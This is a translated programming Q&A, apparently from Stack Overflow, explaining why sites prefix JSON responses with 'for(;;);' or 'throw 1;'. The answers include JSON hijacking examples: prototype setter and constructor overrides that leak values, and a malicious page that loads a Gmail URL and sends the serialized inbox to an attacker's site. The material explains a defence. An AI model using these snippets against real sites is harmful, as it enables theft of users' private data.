为什么人们把代码写成“throw 1; <dont be evil>”和“for(;;);”在 json 响应之前?

新手上路,请多包涵

可能重复:

为什么谷歌会在前面加上 while(1);他们的 JSON 响应?

谷歌返回 json 是这样的:

 throw 1; <dont be evil> { foo: bar}

Facebook 的 ajax 有这样的 json:

 for(;;); {"error":0,"errorSummary": ""}

  • 为什么他们放置会停止执行并生成无效 json 的代码?
  • 如果它无效,他们如何解析它并且如果您尝试评估它会崩溃?
  • 他们只是将它从字符串中删除(看起来很贵)吗?
  • 这有什么安全优势吗?

回应它是出于安全目的:

如果爬虫在另一个域上,他们将不得不使用 script 标签来获取数据,因为 XHR 不能跨域工作。即使没有 for(;;); 攻击者将如何获取数据?它没有分配给一个变量,所以它不会因为没有对它的引用而被垃圾收集吗?

基本上要获得他们必须做的跨域数据

<script src="http://target.com/json.js"></script>

但是,即使没有预先添加崩溃脚本,攻击者也无法使用任何 Json 数据,除非将其分配给您可以全局访问的变量(在这些情况下不是)。崩溃代码实际上什么都不做,因为即使没有它,他们也必须使用服务器端脚本来使用他们网站上的数据。

原文由 Christopher Tarquini 发布,翻译遵循 CC BY-SA 4.0 许可协议

阅读 230
2 个回答

即使没有 for(;;); 攻击者将如何获取数据?

攻击基于改变内置类型的行为,特别是 ObjectArray ,通过改变它们的构造函数或其 prototype 然后,当目标 JSON 使用 {...}[...] 构造时,它们将成为攻击者自己的这些对象版本,具有潜在的意外行为。

例如,您可以将 setter-property 修改为 Object ,这将背叛对象文字中写入的值:

 Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

然后当 <script> 被指向一些使用该属性名称的 JSON 时:

 {"x": "hello"}

"hello" 将被泄露。

数组和对象字面量导致 setter 被调用的方式是有争议的。 Firefox 在 3.5 版中删除了该行为,以响应对知名网站的公开攻击。然而,在撰写本文时,Safari (4) 和 Chrome (5) 仍然容易受到此影响。

现在所有浏览器都不允许的另一种攻击是重新定义构造函数:

 Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

目前,IE8 的属性实现(基于 ECMAScript 第五版标准和 Object.defineProperty )目前不适用于 Object.prototypeArray.prototype

但除了保护过去的浏览器外,JavaScript 的扩展可能会在未来导致更多类似的潜在泄漏,在这种情况下,chaff 也应该防止这些泄漏。

原文由 bobince 发布,翻译遵循 CC BY-SA 2.5 许可协议

考虑一下,在检查了你的 GMail 帐户后,你访问了我的恶意页面:

 <script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在会发生的是来自 Google 的 Javascript 代码——提问者认为它是良性的并且立即超出范围——实际上将被发布到我的恶意网站。假设脚本标记中请求的 URL 发送(因为您的浏览器将显示正确的 cookie,Google 将正确地认为您已登录到您的收件箱):

 ({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在,我将把这个对象的序列化版本发布到我的邪恶服务器上。谢谢!

防止这种情况发生的方法是压缩您的 JSON 响应,并在您从同一域可以操作该数据时将它们删除。如果您喜欢这个答案,请查看 bobince 发布的答案。

原文由 Jesse Dhillon 发布,翻译遵循 CC BY-SA 4.0 许可协议

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题